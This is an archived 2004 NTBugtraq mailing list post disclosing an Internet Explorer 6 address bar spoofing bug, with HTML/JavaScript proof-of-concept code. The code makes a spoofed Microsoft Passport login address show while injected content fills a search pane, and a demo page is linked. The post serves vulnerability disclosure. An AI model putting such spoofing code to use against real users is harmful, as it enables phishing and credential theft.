Address Bar Spoophing for the Pheeshies: IntotheNet Explorer 6

http-equiv_at_excite.com
Date: 12/08/04

  • Next message: Boris Yakubov: "Events from one domain logged on a different domain's DC" 
    Date:         Wed, 8 Dec 2004 00:20:20 -0000
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM

    Tuesday, December 07, 2004

    This is phunny in a pheeble kind of way:

     <phorm id="phoo" action="res://C:\\WINDOWS\\system3\\
    shdoclc.dll//dnserror.htm#http://login.passport.net/uilogin.srf?id=666"
    method="post">
    <input type="submit" value="default value"></phorm>
    <a id="phee" hreph="hotphemail.html" target="_search">test</a>

     <script>
    var malware = screen.availHeight;
    window.moveTo(0, 0);
    window.resizeTo(500,malware);
    phee.click()
    setTimeout("phoo.submit();",1);
     </script>

    This is the hook:

    res://C:\\WINDOWS\\system3\\
    shdoclc.dll//dnserror.htm#http://login.passport.net/uilogin.srf?
    id=malware.is.here

    phorm submitted, leaves our manuphactured [or real] address in the address
    bar.

    What we then do is inject our proper html into the search pane which then
    gives the impression that the address and site are all correct.

    Dumbed Down Demo:

    http://www.malware.com/pzeesh.html

    Notes:

    1. Much more elaborate window.open() and window.createPopup() can be moved
    and juggled around to mask almost anything to create a 'cleaner' look plus
    other "things"

    2. Pretty phoolish if you phall for it

    3. Pharewell then !

    End Call 

    --
http://www.malware.com
--
Editor's Note: The 43rd Most Powerful Person in Networking says...
Register today to take the TruSecure ICSA exam by 12/31/04  at
<http://www.2test.com> ,  use promo code "CT1204" and you will pay just
$221.25 US Dollars for domestic exam delivery and  $296.25 US Dollars
for international delivery.
Visit <https://ticsa.trusecure.com>  for complete details regarding the
TICSA credential and to take the free sample exam.
--
  • Next message: Boris Yakubov: "Events from one domain logged on a different domain's DC"

    Relevant Pages